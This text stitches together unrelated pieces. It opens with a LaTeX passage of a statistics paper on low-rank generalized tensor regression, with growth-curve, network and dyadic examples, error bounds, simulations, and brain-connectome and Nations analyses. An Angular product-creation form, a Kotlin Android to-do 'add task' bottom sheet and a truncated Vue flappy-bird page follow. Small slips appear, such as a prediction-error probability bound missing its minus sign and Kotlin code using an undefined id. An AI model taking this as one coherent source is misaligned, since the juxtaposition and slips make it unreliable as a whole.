Let $\tY=\entry{y_{ijk}}\in\mathbb{R}^{d \times m\times n}$ denote the pH measurements of $d$ lakes at $m$ levels of depth and for $n$ time points. Suppose the sampled lakes belong to $p$ types, with $q$ lakes in each type. Let $\{\ell_j\}_{j\in[m]}$ denote the sampled depth levels and $\{t_k\}_{k\in[n]}$ the time points. Assume that the expected pH trend in depth is a polynomial of order $r$ and that the expected trend in time is a polynomial of order $s$. Then, the spatio-temporal growth model can be represented as
\begin{equation}\label{eq:time}
\mathbb{E}(\tY|\mX_1,\mX_2,\mX_3)=\tB\times\{\mX_1,\mX_2,\mX_3\},
\end{equation}
where $\tB\in\mathbb{R}^{p\times (r+1)\times (s+1)}$ is the coefficient tensor of interest, $\mX_1=\text{blockdiag}\{\mathbf{1}_q,\ldots,\mathbf{1}_q\}\in \{0,1\}^{d\times p}$ is the design matrix for lake types,
\[
\mX_2=
\begin{pmatrix}
1 & \ell_1&\cdots &\ell^{r}_1\\
1 & \ell_2&\cdots &\ell^{r}_2\\
\vdots &\vdots&\ddots&\vdots\\
1&\ell_{m}&\cdots&\ell^{r}_{m}
\end{pmatrix},\
\mX_3=
\begin{pmatrix}
1 & t_1&\cdots &t^{s}_1\\
1 & t_2&\cdots &t^{s}_2\\
\vdots &\vdots&\ddots&\vdots\\
1&t_{n}&\cdots&t^{s}_{n}
\end{pmatrix}
\]
are the design matrices for spatial and temporal effects, respectively. The model~\eqref{eq:time} is a higher-order extension of the ``growth curve'' model originally proposed for matrix data~\cite{gabriel1998generalised,potthoff1964generalized,srivastava2008models}. Clearly, the spatial-temporal model is a special case of our tensor regression model, with covariates available on each of the three modes.
\end{example}
\begin{example}[Network population model]
Network response model is recently developed in the context of neuroimanig analysis. The goal is to study the relationship between network-valued response and the individual covariates. Suppose we observe $n$ i.i.d.\ observations $\{(\mY_i, \mx_i): i=1,\ldots,n\}$, where $\mY_i\in\{0,1\}^{d\times d}$ is the brain connectivity network on the $i$-th individual, and $\mx_i\in\mathbb{R}^p$ is the individual covariate such as age, gender, cognition, etc. The network-response model~\cite{rabusseau2016low, zhang2018network} has the form
\begin{equation}\label{eq:network}
\text{logit}(\mathbb{E}(\mY_i|\mx_i))=\tB\times_3\mx_i, \quad \text{for }i=1,\ldots,n
\end{equation}
where $\tB\in \mathbb{R}^{d\times d\times p}$ is the coefficient tensor of interest. The model~\eqref{eq:network} is a special case of our tensor-response model, with covariates on the last mode of the tensor. Specifically, stacking $\{\mY_i\}$ together
yields an order-3 response tensor $\tY\in\{0,1\}^{d\times d\times n}$, along with covariate matrix $\mX=[\mx_1,\ldots,\mx_n]^T\in\mathbb{R}^{n\times p}$. Then, the model~\eqref{eq:network} can be written as
\[
\text{logit}(\mathbb{E}(\tY|\mX))=\tB\times_3 \mX=\tB\times\{\mI_d, \mI_d, \mX\}.
\]
\end{example}
\begin{example}[Dyadic data with node attributes] Dyadic dataset consists of measurements on pairs of objects or under a pair of conditions. Common examples include networks and graphs. Let $\tG=(V,E)$ denote a network, where $V=[d]$ is the node set of the graph, and $E\subset V\times V$ is the edge set. Suppose that we also observe covariate $\mx_i\in\mathbb{R}^p$ associated to each $i\in V$. A probabilistic model on the graph $\tG=(V,E)$ can be described by the following matrix regression. The edge connects the two vertices $i$ and $j$ independently of other pairs, and the probability of connection is modeled as
\begin{equation}\label{eq:edge}
\text{logit}(\mathbb{P}((i,j)\in E)=\mx^T_i\mB\mx_j=\langle \mB, \mx^T_i\mx_j\rangle.
\end{equation}
The above model has demonstrated its success in modeling transitivity, balance, and communities in the networks~\cite{hoff2005bilinear}. We show that our tensor regression model~\eqref{eq:tensormodel} also incorporates the graph model as a special case. Let $\tY=\entry{y_{ij}}$ be a binary matrix where $y_{ij}=\mathds{1}_{(i,j)\in E}$. Define $\mX=[\mx_1,\ldots,\mx_n]^T\in\mathbb{R}^{n\times p}$. Then, the graph model~\eqref{eq:edge} can be expressed as
\[
\text{logit}(\mathbb{E}(\mY|\mX))=\tB\times\{\mX,\mX\}.
\]
\end{example}
In the above three examples and many other studies, researchers are interested in uncovering the variation in the data tensor that can be explained by the covariates. The regression coefficient $\tB$ in our model model~\eqref{eq:tensormodel} serves this goal by collecting the effects of covariates and the interaction thereof.
To encourage the sharing among effects, we assume that the coefficient tensor $\tB$ lies in a low-dimensional parameter space:
\begin{equation}\label{eq:rank}
\small \tP_{r_1,\ldots,r_K}=\{\tB\in\mathbb{R}^{p_1\times \cdots \times p_K}: r_k(\tB)\leq r_k \text{ for all } k\in[K]\},
\end{equation}
where $r_k(\tB)\leq p_k$ is the Tucker rank at mode $k$ of the tensor. The low-rank assumption is plausible in many scientific applications. In brain imaging analysis, for instance, it is often believed that the brain nodes can be grouped into fewer communities, and the numbers of communities are much smaller than the number of nodes. The low-rank structure encourages the shared information across tensor entries, thereby greatly improving the estimation stability. When no confusion arises, we drop the subscript $(r_1,\ldots,r_K)$ and write $\tP$ for simplicity.
Our tensor regression model is able to incorporate covariates on any subset of modes, whenever available. Without loss of generality, we denote by $\tX=\{\mX_1,\ldots,\mX_K\}$ the covariates in all modes and treat $\mX_k=\mI_{d_k}$ if the mode-$k$ has no (informative) covariate. Then, the final form of our tensor regression model can be written as:
\begin{align}\label{eq:tensormodel2}
\mathbb{E}(\tY|\tX)=f(\Theta),\quad \Theta =\tB\times\{\mX_1,\ldots,\mX_K\},\quad \text{where}\ \text{rank}(\tB)\leq (r_1,\ldots,r_K),
\end{align}
where the entries of $\tY$ are independent r.v.'s conditional on $\tX$, and $\tB\in\mathbb{R}^{p_1\times \cdots\times p_K}$ is the low-rank coefficient tensor of interest. We comment that other forms of tensor low-rankness are also possible, and here we choose Tucker rank just for parsimony. Similar models can be derived using various notions of low-rankness based on CP decomposition~\cite{hitchcock1927expression} and train decomposition~\cite{oseledets2011tensor}.
\vspace{-.2cm}
\section{Rank-constrained likelihood-based estimation}
\vspace{-.2cm}
We develop a likelihood-based procedure to estimate the coefficient tensor $\tB$ in~\eqref{eq:tensormodel2}. We adopt the exponential family as a flexible framework for different data types. In a classical generalized linear model (GLM) with a scalar response $y$ and covariate $\mx$, the density is expressed as:
\vspace{-.03cm}
\begin{equation*}
p(y|\mx, \boldsymbol{\beta})=c(y,\phi)\exp\left(\frac{y\theta- b(\theta) }{ \phi}\right)\ \text{with}\ \theta=\boldsymbol{\beta}^T\mx,
\end{equation*}
\vspace{-.03cm}
where $b(\cdot)$ is a known function, $\theta$ is the linear predictor, $\phi>0$ is the dispersion parameter, and $c(\cdot)$ is a known normalizing function. The choice of link functions depends on the data types and on the observation domain of $y$, denoted $\mathbb{Y}$. For example, the observation domain is $\mathbb{Y}=\mathbb{R}$ for continuous data, $\mathbb{Y}=\mathbb{N}$ for count data, and $\mathbb{Y}=\{0,1\}$ for binary data.
Note that canonical link function $f$ is chosen to be $f(\cdot)=b'(\cdot)$. Table~1 summarizes the canonical link functions for common distributions.
We model the entries in the response tensor $y_{ijk}$ conditional on $\theta_{ijk}$ as independent draws from an exponential family. The quasi log-likelihood of~\eqref{eq:tensormodel2} is equal (ignoring constant) to Bregman distance between $\tY$ and $b'(\Theta)$:
\begin{align}
\tL_{\tY}(\tB)=\langle \tY, \Theta \rangle - \sum_{i_1,\ldots,i_K} b(\theta_{i_1,\ldots,i_K}),\quad
\text{where}\ \Theta=\tB\times\{\mX_1,\ldots,\mX_K\}.
\end{align}
We assume that we have an additional information on an upper bound $\alpha>0$ such that $\mnormSize{}{\Theta}\leq \alpha$. This is the case for many applications we have in mind such as brain network analysis where fiber connections are bounded. We propose a constrained maximum likelihood estimator (MLE) for the coefficient tensor:
\begin{equation}\label{eq:MLE}
\hat \tB=\argmax_{\text{rank}(\tB)\leq \mr, \mnormSize{}{\Theta(\tB)}\leq \alpha} \tL_{\tY}(\tB).
\end{equation}
In the following theoretical analysis, we assume the rank $\mr=(r_1,\ldots,r_K)$ is known and fixed. The adaptation of unknown $\mr$ will be addressed in Section~\ref{sec:tuning}.
\subsection{Statistical properties}
We assess the estimation accuracy using the deviation in the Frobenius norm. For the true coefficient tensor $\trueB$ and its estimator $\hat \tB$, define
\[
\text{Loss}(\trueB,\ \hat \tB)=\FnormSize{}{\trueB- \hat \tB}^2.
\]
In modern applications, the response tensor and covariates are often large-scale. We are particularly interested in the high-dimensional region in which both $d_k$ and $p_k$ diverge; i.e.\ $d_k\to \infty$ and $p_k\to\infty$, while ${p_k\over d_k} \to \gamma_k \in[0,1)$. As the size of problem grows, and so does the number of unknown parameters. As such, the classical MLE theory does not directly apply. We leverage the recent development in random tensor theory and high-dimensional statistics to establish the error bounds of the estimation.
\begin{assumption}\label{ass}We make the following assumptions:
\begin{enumerate}[itemsep=-.5pt,topsep=-.5pt,leftmargin=*,partopsep=-.3pt]
\item [A1.] There exist two positive constants $c_1, c_2>0$ such that $c_1\leq \sigma_{\min}(\mX_k)\leq \sigma_{\max}(\mX_k)\leq c_2$ for all $k\in[K]$. Here $\sigma_{\text{min}}(\cdot)$ and $\sigma_{\text{max}}(\cdot)$ denotes the smallest and largest singular values, respectively.
\item [A2.] There exist positive constants $L,\ U>0$ such that $L\phi \leq \text{Var}(y_{i_1,\ldots,i_K}|\theta_{i_1,\ldots,i_K})\leq U\phi $ for all $|\theta_{i_1,\ldots,i_K}|\leq \alpha$.
\item[A2$'$.] Equivalently, there exists two positive constants $L,\ U>0$ such that $L\leq b''(\theta) \leq U$ for all $|\theta|\leq \alpha$, where $\alpha$ is the upper bound of the linear predictor.
\end{enumerate}
\end{assumption}
The assumptions are fairly mild. Assumption A1 guarantees the non-singularity of the covariates, and Assumption A2 ensures the log-likelihood $\tY(\Theta)$ is strictly concave in the linear predictor $\Theta$. Assumption A2 and A2$'$ are equivalent, because $\text{Var}(y_{i_1,\ldots,i_K}|\tX,\tB)=\phi b''(\theta_{i_1,\ldots,i_K})$ when $y_{i_1,\ldots,i_K}$ belongs to an exponential family~\cite{mccullagh1989generalized}.
\vspace{.1cm}
\begin{thm}[Statistical convergence]\label{thm:main}
Consider a generalized tensor regression model with covariates on multiple modes $\tX=\{\mX_1,\ldots,\mX_K\}$. Suppose the entries in $\tY$ are independent realizations of an exponential family distribution, and $\mathbb{E}(\tY|\tX)$ follows the low-rank tensor regression model~\eqref{eq:tensormodel2}. Under Assumption~\ref{ass}, there exist two constants $C_1, C_2>0$, such that, with probability at least $1-\exp(-C_1\sum_k p_k)$,
\vspace{-.05cm}
\begin{equation}\label{eq:bound}
\text{Loss}(\trueB,\ \hat \tB) \leq C_2\sum_k p_k.
\end{equation}
\vspace{-.05cm}
Here, $C_2=C_2(\mr,\alpha, K)>0$ is a constant that does not depend on the dimensions $\{d_k\}$ and $\{p_k\}$.
\end{thm}
To gain further insight on the bound~\eqref{eq:bound}, we consider a special case when tensor dimensions are equal at every mode, i.e., $d_k=d$, $p_k=\gamma d$, $\gamma\in [0,1)$ for all $k\in[K]$, and the covariates $\mX_k$ are Gaussian design matrices with i.i.d.\ $N(0,1)$ entries. To put the context in the framework of Theorem~\ref{thm:main}, we rescale the covariates into $\check \mX_k={1\over \sqrt{d}}\mX_k$ so that the singular values of $\check \mX_k$ are bounded by $1\pm \sqrt{\gamma}$. The result in~\eqref{eq:bound} implies that the estimated coefficient has a convergence rate $\tO({p\over d^K})$ in the scale of the original covariates $\{\mX_k\}$. Therefore, our estimation is consistent as the dimension grows, and the convergence becomes especially favorably as the order of tensor data increases.
As immediate applications, we obtain the convergence rate for the three examples mentioned in Section~\ref{sec:model}. Without loss of generality, we assume that the singular values of the $d_k$-by-$p_k$ covariate matrix $\mX_k$ are bounded by $\sqrt{d_k}$. In Network population model, the estimated node-by-node-by-covariate tensor converges at the rate $\tO\left({(2d+p) / d^2n}\right)$ where $p\leq n$. In Dyadic data with node attributes model, the estimated covariate-by-covariate matrix converges at the rate $\tO\left({p/ d^2}\right)$ where $p\leq d$. Both of the estimations achieve consistency as long as the dimension grows.
We conclude this section by providing the prediction accuracy, measured in KL divergence, for the response distribution.
\begin{thm}[Prediction error]\label{thm:KL}
Assume the same set-up as in Theorem~\ref{thm:main}. Let $\mathbb{P}_{\tY_{\text{true}}}$ and $\mathbb{P}_{\hat \tY}$ denote the distributions of $\tY$ given the true parameter $\trueB$ and estimated parameter $\hat \tB$, respectively. Then, we have, with probability at least $1-\exp(C_1\sum_k p_k)$,
\begin{align*}
\text{KL}(\mathbb{P}_{\tY_{\text{true}}},\ \mathbb{P}_{\hat \tY})\leq C_4 \sum_k p_k,
\end{align*}
\vspace{-.1cm}
where $C_4=C_4(\mr,\alpha, K)>0$ is a constant that do not depend on the dimensions $\{d_k\}$ and $\{p_k\}$.
\end{thm}
\vspace{-.2cm}
\section{Numerical implementation}
\subsection{Alternating optimization}
In this section, we introduce an efficient algorithm to solve~\eqref{eq:MLE}. The optimization~\eqref{eq:MLE} is a non-convex problem because the feasible set $\tP$ is non-convex. We utilize a Tucker factor representation of the coefficient tensor $\tB$ and turn the optimization into a block-wise convex problem.
Specifically, write the rank-$\mr$ decomposition of coefficient tensor $\tB$ as
\vspace{-.1cm}
\begin{equation}\label{eq:tucker}
\tB=\tC\times \{\mM_1,\ldots,\mM_K\},
\end{equation}
where $\tC\in\mathbb{R}^{r_1\times\cdots\times r_K}$ is a full-rank core tensor, $\mM_k\in\mathbb{R}^{p_k\times r_k}$ are factor matrices with orthogonal columns. The optimization~\eqref{eq:MLE} can be written as $ (\hat \tC, \{\hat \mM_k\})=\arg\max \tL_{\tY}(\tC, \mM_1,\ldots,\mM_K) $ where
\vspace{-.05cm}
\begin{equation*}
\tL_{\tY}(\tC, \mM_1,\ldots,\mM_K) = \langle \tY, \Theta\rangle -\sum_{i_1,\ldots,i_K}b(\theta_{i_1,\ldots,i_K}) \text{with } \Theta =\tC\times\{\mM_1\mX_1,\ldots,\mM_K\mX_K\}.
\end{equation*}
\vspace{-.2cm}
We notice that, if any $K$ out of the $K+1$ blocks of variables are known, then the optimization with respect to the last block of variables reduced to a simple GLM. We therefore choose to iteratively update one block at a time while keeping others fixed. Although a non-convex optimization of this type usually has no guarantee on global optimality, our numerical experiments have suggested high-quality solutions (see Section~\ref{sec:simulation}). The full algorithm is provided in supplement.
\vspace{-.2cm}
\subsection{Rank selection}\label{sec:tuning}
\vspace{-.2cm}
Algorithm~1 takes the rank $\mr$ as an input. Estimating an appropriate rank given the data is of practical importance. We propose to use Bayesian information criterion (BIC) and choose the rank that minimizes BIC; i.e.
\begin{align}\label{eq:BIC}
\hat \mr=\argmin_{\mr=(r_1,\ldots,r_K)} \text{BIC}(\mr) =\argmin_{\mr=(r_1,\ldots,r_K)}[-2\tL_{\tY}(\hat \tB)+p_e(\mr)\log (\prod_k d_k)],
\end{align}
where $p_e(\mr)\stackrel{\text{def}}{=}\sum_k (p_k-r_k)r_k+\prod_k r_k$ is the effective number of parameters in the model. We choose $\hat \mr$ that minimizes $\text{BIC}(\mr)$ via grid search. Our choice of BIC aims to balance between the goodness-of-fit for the data and the degree of freedom in the population model. We test its empirical performance in Section~\ref{sec:simulation}.
\vspace{-.2cm}
\section{Simulation}\label{sec:simulation}
\vspace{-.2cm}
We evaluate the empirical performance of our generalized tensor regression through simulations. We consider order-3 tensors with a range of distribution types. The coefficient tensor $\tB$ is generated using the factorization form~\eqref{eq:tucker} where both the core and factor matrices are drawn i.i.d.\ from Uniform[-1,1]. The linear predictor is then simulated from $\tU=\tB\times\{\mX_1,\mX_2,\mX_3\}$, where $\mX_k$ is either an identity matrix (i.e.\ no covariate available) or Gaussian random matrix with i.i.d.\ entries from $N(0,\sigma_k^2)$. We set $\sigma_k=\sqrt{d_k}$ to ensure the singular values of $\mX_k$ are bounded as $d_k$ increases. The $\tU$ is scaled such that $\mnormSize{}{\tU}=1$. Conditional on the linear predictor $\tU=\entry{u_{ijk}}$, the entries in the tensor $\tY=\entry{y_{ijk}}$ are drawn independently according to one of the following three probabilistic models: (a) Gaussian entries $y_{ijk}\sim N\left(\alpha u_{ijk}, 1\right)$;(b) Poisson entries $y_{ijk}\sim\text{Poi}\left( e^{\alpha u_{ijk}}\right)$;(c) binary entries $y_{ijk}\sim \text{Ber}\left( {e^{\alpha u_{ijk}} /( 1+e^{\alpha u_{ijk}}})\right)$. Here $\alpha>0$ is a scalar controlling the magnitude of the effect size. In each simulation study, we report the mean squared error (MSE) for the coefficient tensor averaged across $n_{\text{sim}}=30$ replications.
\vspace{-.1cm}
\subsection{Finite-sample performance}
The experiment I evaluates the accuracy when covariates are available on all modes. We set $\alpha=10, d_k=d, p_k=0.4d_k, r_k=r\in\{2,4,6\}$ and increase $d$ from 25 to 50. Our theoretical analysis suggests that $\hat \tB$ has a convergence rate $\tO(d^{-2})$ in this setting. Figure~2a plots the estimation error versus the ``effective sample size'', $d^2$, under three different distribution models. We found that the empirical MSE decreases roughly at the rate of $1/d^2$, which is consistent with our theoretical ascertainment. We also observed that, tensors with higher ranks tend to yield higher estimation errors, as reflected by the upward shift of the curves as $r$ increases. Indeed, a larger $r$ implies a higher model complexity and thus greater difficulty in the estimation. Similar behaviors can be observed in the non-Gaussian data in Figures~2b-c.
The experiment II investigates the capability of our model in handling correlation among coefficients. We mimic the scenario of brain imaging analysis. A sample of $d_3=50$ networks are simulated, one for each individual. Each network measures the connections between $d_1=d_2=20$ brain nodes. We simulate $p=5$ covariates for the each of the 50 individuals. These covariates may represent, for example, age, cognitive score, etc. Recent study~\cite{robinson2015dynamic} has suggested that brain connectivity networks often exhibit community structure represented as a collection of subnetworks, and each subnetwork is comprised of a set of spatially distributed brain nodes. To accommodate this structure, we utilize the stochastic block model~\cite{abbe2017community} to generate the effect size. Specifically, we partition the nodes into $r$ blocks by assigning each node to a block with uniform probability. Edges within a same block are assumed to share the same covariate effects, where the effects are drawn i.i.d.\ from $N(0,1)$. We then apply our tensor regression model to the network data using the BIC-selected rank. Note that in this case, the true model rank is unknown; the rank of a $r$-block matrix is not necessarily equal to~$r$~\cite{zeng2019multiway}.
\vspace{-.2cm}
\begin{figure}[ht]
\begin{minipage}[b]{0.47\textwidth}
\centering
\includegraphics[width=0.99\textwidth]{dimension.pdf}\label{fig:dim}
\caption{\normalsize{Mean squared error (MSE) against effective sample size. Responses are generated from Gaussian, Poisson and Bernoulli models. The dashed curves correspond to $\tO({1/d^2})$.} }
\end{minipage}
\hspace{.5cm}
\begin{minipage}[b]{0.47\textwidth}
\centering
\includegraphics[width=0.93\textwidth]{comparison.pdf}\label{fig:glm}
\vspace{-.2cm}
\caption{\normalsize{MSE when the networks have block structure. Responses are generated from Gaussian, Poisson and Bernoulli models. The $x$-axis represents the number of blocks in the networks.} }
\end{minipage}
\vspace{-.3cm}
\end{figure}
Figure~3 compares the MSE of our method with a classical GLM approach. A classical GLM is to regress the dyadic edges, one at a time, on the covariates, and this model is repeatedly fitted for each edge. This repeated approach, however, does not account for the correlation among the edges, and may suffer from overfitting. As we can see in Figure~3, our tensor regression method achieves significant error reduction in all three models considered. The outer-performance is significant in the presence of large communities, and even in the less structured case ($\sim 20/15=1.33$ nodes per block), our method still outer-performs GLM. This is because the low-rankness in our modeling automatically identifies the shared information across entries. By selecting the rank in a data-driven way, our method is able to achieve accurate estimation with improved interpretability.
The experiment assesses the selection accuracy of our BIC criterion~\eqref{eq:BIC} is relegated to supplement.
\vspace{-.15cm}
\subsection{Comparison with alternative }
\vspace{-.1cm}
We compare our generalized tensor regression ({\bf GTR}) with three other supervised tensor methods: Higher-order low-rank regression ({\bf HOLRR}~\cite{rabusseau2016low}), Higher-order partial least square ({\bf HOPLS}~\cite{zhao2012higher}) and Subsampled tensor projected gradient ({\bf TPG}~\cite{yu2016learning}). These three methods are the closest algorithms to ours. All the three methods allow only Gaussian data, whereas ours is applicable to any exponential family distributions. For fair comparison, we consider only Gaussian response in the simulation. We measure the accuracy using mean squared prediction error, $\text{MSPE}=\sqrt{\sum_kd_k}\FnormSize{}{\hat \tY-\mathbb{E}(\tY|\tX)}$, where $\hat \tY$ is the fitted value from each method. We use similar simulation setups as in our experiment II, but consider combinations of rank ($\mr=(3,3,3)$ vs.\ $(4,5,6)$), noise ($\sigma = 1/2$ vs. $1/4$), and dimension $d$ ranging from 20 to 100 for modes with covariates, $d = 20$ for modes without covariates.
\begin{figure}[htbp]
\centering
\begin{minipage}[t]{0.46\textwidth}
\centering
\includegraphics[width=1\textwidth]{merge.pdf}
\caption{\normalsize{Comparison of MSPE versus the number of modes with covariates. We consider rank $\mr=(3,3,3)$ (low), $\mr=(4,5,6)$ (high), and noise $\sigma=1/2$ (high), $\sigma=1/4$ (low).}}~\label{fig:compare}
\end{minipage}
\hspace{.5cm}
\begin{minipage}[t]{0.46\textwidth}
\centering
\includegraphics[width=1\textwidth]{merge2.pdf}
\caption{\normalsize{Comparison of MSPE versus sample size. We consider rank $\mr=(3,3,3)$ (low), $\mr=(4,5,6)$ (high), and noise $\sigma=1/2$ (high), $\sigma=1/4$ (low). }}~\label{fig:compare2}
\end{minipage}
\vspace{-.5cm}
\end{figure}
Figure~\ref{fig:compare} shows the averaged prediction error across 30 replicates. We see that our {\bf GTR} outperforms others, especially in the high-rank high-noise setting. As the number of informative modes (i.e. modes with available covariates) increases, the {\bf GTR} exhibits a reduction in error whereas others have increased errors. This showcases the benefit toward prediction via incorporation of multiple covariates. The accuracy gain in Figure~\ref{fig:compare} demonstrates the benefit of alternating algorithm -- having informative modes also improves the estimation along non-informative modes.
Figure~\ref{fig:compare2} compares the prediction error with respect to sample size. The sample size is the total number of entries in the tensor. In the low-rank setting, our method has similar performance as {\bf HOLRR}, and the improvement becomes more pronounced when the rank increases. Neither {\bf HOPLS} nor {\bf TPG} has satisfactory performance in high-rank or high-noise settings. One possible reason is that a higher rank implies a higher inter-mode complexity, and our {\bf GTR} method lends itself well to this context.
\vspace{-.2cm}
\section{Data analysis}
\vspace{-.2cm}
We apply our method to two real datasets. The first application concerns the brain network modeling in response to individual attributes (i.e.\ covariate on one mode), and the second application focuses on multi-relational network analysis with dyadic attributes (i.e.\ covariates on two modes).
We fit the tensor regression model to the Human connectome project (HCP,~\citep{HCP}) data. The HCP aims to build a network map that characterizes the anatomical and functional connectivity within healthy human brains. We take 136 individuals' brain structural networks. Each brain network is represented as a binary matrix, where the entries encode the presence or absence of fiber connections between 68 brain regions. We consider four individual-covariates: gender, age 22-25, age 26-30, and age 31$+$. The BIC suggests a rank $\mr=(10,10,4)$. Figure~\ref{fig:brain} shows the top edges with high effect size, overlaid on the Desikan atlas brain template~\cite{xia2013brainnet}. We depict only the top 3\% edges whose connections are non-constant across samples. Figure~\ref{fig:brain}a show that the global connection exhibits clear spatial separation, and that the nodes within each hemisphere are more densely connected with each other. In particular, the superior-temproal (\emph{SupT}), middle-temporal (\emph{MT}) and Insula are the top three popular nodes in the network. Interestingly, female brains display higher inter-hemispheric connectivity, especially in the frontal, parental, and temporal lobes(Figure~\ref{fig:brain}b). This is in agreement with a recent study showing that female brains are optimized for inter-hemispheric communication~\cite{ingalhalikar2014sex}. \\
\begin{figure}[ht]
\centering
\vspace{-.2cm}
\includegraphics[width=12cm]{HCP1.pdf}
\caption{\normalsize{Top edges with large effects. Red edges refer relatively strong connections and blue edges refer relatively weak connections. (a) Global effect; (b) Female effect; (c) Age 22-25; (d) Age 31+.} }\label{fig:brain}
\end{figure}
\vspace{-.3cm}
The second application examines the multi-relational network analysis with node-level attributes. We consider \emph{Nations} dataset~\cite{nickel2011three} which records 56 relations among 14 countries between 1950 and 1965. The multi-relational networks can be organized into a $14 \times 14 \times 56$ binary tensor. Our tensor regression results show that the relations reflecting the similar aspects of international affairs are grouped together. In particular, cluster I consists of political relations such as \emph{officialvisits, intergovorgs}, and \emph{militaryactions}; clusters II and III capture the economical relations; and Cluster IV represents the Cold War alliance blocs. Detailed results and analysis are in supplement.
\vspace{-.3cm}
\section{Conclusion}
\vspace{-.2cm}
We have developed a generalized tensor regression with covariates on multiple modes. A fundamental feature of tensor-valued data is the statistical interdependence among entries. Our proposed rank-constrained estimation achieves high accuracy with sound theoretical guarantees. The estimation accuracy is quantified via deviation in the Frobenius norm and K-L divergence. Other measures of accuracy may also be desirable, such as the spectral norm or the maximum norm of the deviation. Exploiting the properties and benefits of different error quantification warrants future research.
\newpage
\medskip
\bibliographystyle{unsrt}
\bibliography{tensor_wang}
\end{document}
|
<h3>Create New</h3>
<div class="container">
<div class="col-12">
<form [formGroup]="reactiveForm" (ngSubmit)="onSubmit(reactiveForm)" novalidate>
<div class="row">
<div class="col-6 create-col">
<label for="title">Title </label>
<input type="text" id="title" name="title" formControlName="title">
</div>
<div class="col-6 create-col">
<label for="brand">Brand </label>
<input type="text" id="brand" name="brand" formControlName="brand">
</div>
<div class="col-6 create-col">
<label for="category"> Category </label>
<input type="text" id="category" name="category" formControlName="category">
</div>
<div class="col-6 create-col">
<label for="description"> Description </label>
<textarea type="text" id="description" name="description" formControlName="description"></textarea>
</div>
<div class="col-6 create-col">
<label for="discountPercentage"> Discount Percentage </label>
<input type="number" id="discountPercentage" name="discountPercentage"
formControlName="discountPercentage">
</div>
<div class="col-6 create-col">
<label for="price">Price </label>
<input type="number" id="price" name="price" formControlName="price">
</div>
<div class="col-6 create-col">
<label for="rating">Rating </label>
<input type="number" id="rating" name="rating" formControlName="rating">
</div>
<div class="col-6 create-col">
<label for="thumbnail">Thumbnail</label>
<input type="text" id="thumbnail" name="thumbnail" formControlName="thumbnail">
</div>
<label style="font-weight: bold;">Image URL's</label>
<div formArrayName="images" *ngFor="let images of formData.controls; let i = index;">
<div [formGroupName]="i" class="col-6 create-col">
<input formControlName="url" placeholder="url">
</div>
</div>
</div>
<button (click)="addItem()">Add</button>
<button type="submit">Submit</button>
</form>
</div>
</div>
|
package com.route.todo.ui.home.addTask
import android.app.DatePickerDialog
import android.app.TimePickerDialog
import android.icu.util.Calendar
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import com.google.android.material.bottomsheet.BottomSheetDialogFragment
import com.route.todo.database.MyDataBase
import com.route.todo.database.model.Task
import com.route.todo.databinding.FragmentAddTaskBinding
import com.route.todo.ui.formatDate
import com.route.todo.ui.formatTime
import com.route.todo.ui.getDateOnly
import com.route.todo.ui.getTimeOnly
import com.route.todo.ui.home.showDialog
class AddTaskBottomSheet : BottomSheetDialogFragment() {
lateinit var binding: FragmentAddTaskBinding
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
binding = FragmentAddTaskBinding.inflate(layoutInflater)
return binding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
setUpViews()
}
private fun setUpViews() {
binding.addTaskBtn.setOnClickListener {
addTask()
}
binding.selectDateTil.setOnClickListener {
showDatePicker()
}
binding.selectTimeTil.setOnClickListener {
showTimePicker()
}
}
private fun showTimePicker() {
val timePicker = TimePickerDialog(
requireContext(),
{ view, hourOfDay, minute ->
calendar.set(Calendar.HOUR_OF_DAY, hourOfDay)
calendar.set(Calendar.MINUTE, minute)
binding.selectTimeTv.text = calendar.formatTime()
binding.selectTimeTil.error = null
},
calendar.get(Calendar.HOUR_OF_DAY),
calendar.get(Calendar.MINUTE),
false
)
timePicker.show()
}
val calendar = Calendar.getInstance()
private fun showDatePicker() {
val datePicker = DatePickerDialog(requireContext())
datePicker.setOnDateSetListener(
DatePickerDialog.OnDateSetListener { view, year, monthOfYear, dayOfMonth ->
calendar.set(Calendar.DAY_OF_MONTH, dayOfMonth)
calendar.set(Calendar.YEAR, year)
calendar.set(Calendar.MONTH, monthOfYear)
binding.selectDateTv.text = calendar.formatDate()
binding.selectDateTil.error = null
}
)
datePicker.show()
}
private fun isValidateTaskInput(): Boolean {
var isValid = true
val title = binding.title.text.toString()
val describition = binding.describition.text.toString()
if (title.isBlank()) {
binding.titleTil.error = "Please enter Task title"
isValid = false
} else {
binding.titleTil.error = null
}
if (describition.isBlank()) {
binding.descriptionTil.error = "Please enter Description content "
isValid = false
} else {
binding.descriptionTil.error = null
}
if (binding.selectTimeTv.text.isBlank()) {
binding.selectTimeTil.error = "Please select time"
isValid = false
}
if (binding.selectDateTv.text.isBlank()) {
isValid = false
binding.selectDateTil.error = "Please select date"
}
return isValid
}
private fun addTask() {
if (!isValidateTaskInput())
return
MyDataBase.getInstance().getTasksDao().insertTask(
Task(
id,
title = binding.title.text.toString(),
content = binding.describition.text.toString(),
date = calendar.getDateOnly(),
time = calendar.getTimeOnly()
)
)
showDialog(
"Task Inserted successfully",
"ok",
posActionCallBack = {
dismiss()
onTaskAddedListener?.onTaskAdd()
},
isCancelable = false
)
}
var onTaskAddedListener: OnTaskAddedListener? = null
fun interface OnTaskAddedListener {
fun onTaskAdd()
}
}
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>管道小鸟</title>
<link rel="shortcut icon" href="img/bird.gif" type="image/x-icon">
<link rel="stylesheet" href="index.css">
<script src="js/vue.min.js"></script>
</head>
<body>
<div id="app">
<div class="bird-game">
<div class="bird-box">
<img src="img/bird-bg.png" class="bg" />
<div class="bird-map">
<!-- 分数 -->
<div class="bird-number">{{ number }}</div>
<!-- 开始游戏 -->
<div class="bird-start" v-if="!isStart">开始游戏</div>
<!-- 鸟 -->
<div
class="bird hidden"
:class="{'bird-move': !isStart}"
:style="{'top': bird.top + 'px', 'left': bird.left + 'px'}"
>
<img src="img/bird.gif" mode="widthFix" />
</div>
<!-- 管道 -->
<div class="bird-pipe" v-for="(item,index) in pipeList" :key="index" :style="{'right': item.pRight + 'px', 'width': pipe.width+'px'}">
<div class="bird-pipe-top" :style="{'top': item.pTop +'px'}">
<img src="img/pipe_t.png" width="100%" mode="widthFix" />
</div>
